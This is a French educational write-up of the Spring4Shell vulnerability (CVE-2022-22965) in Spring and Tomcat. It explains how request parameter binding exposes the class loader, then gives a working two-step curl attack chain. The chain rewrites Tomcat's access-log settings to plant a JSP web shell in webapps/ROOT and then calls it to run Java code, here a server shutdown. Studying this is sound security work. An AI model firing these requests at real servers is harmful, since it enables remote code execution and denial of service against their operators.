
Démonstration minimale de l'exploit Spring4Shell (CVE-2022-22965) ciblant Tomcat via la manipulation du class-loader, avec une chaîne d'attaque pas à pas basée sur curl pour les tests de pénétration éducatifs.
Au moment de la rédaction, la liaison des paramètres de requête spring-web (WebDataBinder) permet par défaut d'accéder à la méthode getClass() d'un objet.
Ce détail d'implémentation interne spécifique à la jvm (à mon avis ne devrait pas être exposé).
En tant que tel, ses fonctionnalités peuvent changer et être étendues avec les futures versions de la jvm.
Cela constitue un fardeau permanent pour les mainteneurs, qui tentent de prévoir les moyens créatifs par lesquels des acteurs malveillants pourraient exploiter cet accès puissant de manière néfaste.
Dans cette CVE particulière, la raison était une méthode Class::getModule() introduite dans java 9. Elle ouvrait un accès non protégé à un chargeur de classes.
Dans l'exemple ci-dessous, l'attaquant l'utilise pour reconfigurer le journal d'accès de tomcat. Normalement, il écrit des informations succinctes sur chaque requête reçue par le serveur dans un fichier journal. La propriété pattern définit les informations écrites, directory l'emplacement du fichier journal, prefix, fileDateFormat et ce que doit être le nom du fichier.
suffixLa requête suivante ciblera un point d'accès POST de notre application vulnérable poc-0. Elle reconfigure le journal pour écrire une ligne <%{e}iSystem.exit(0);%{e}i> pour chaque requête traitée, dans un fichier f.jsp dans un répertoire webapps/ROOT, où %{e}i est un espace réservé pour la valeur de l'en-tête e de la requête.
Il s'agit d'une utilisation inattendue/créative du journal, et le reste est un serveur d'application JSP et Tomcat standard en action.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
Après un moment, un fichier f.jsp sera créé, pris en charge par tomcat, compilé et exposé pour servir le trafic.
La requête suivante l'invoque, ce qui exécutera un code System.exit(0); embarqué et arrêtera la jvm sur laquelle il s'exécute.
curl -v http://container-ip:8080/f.jsp
Ceci est un exemple de déni de service (DoS), mais le System.exit(0); est un code java normal, donc l'attaquant peut faire bien plus.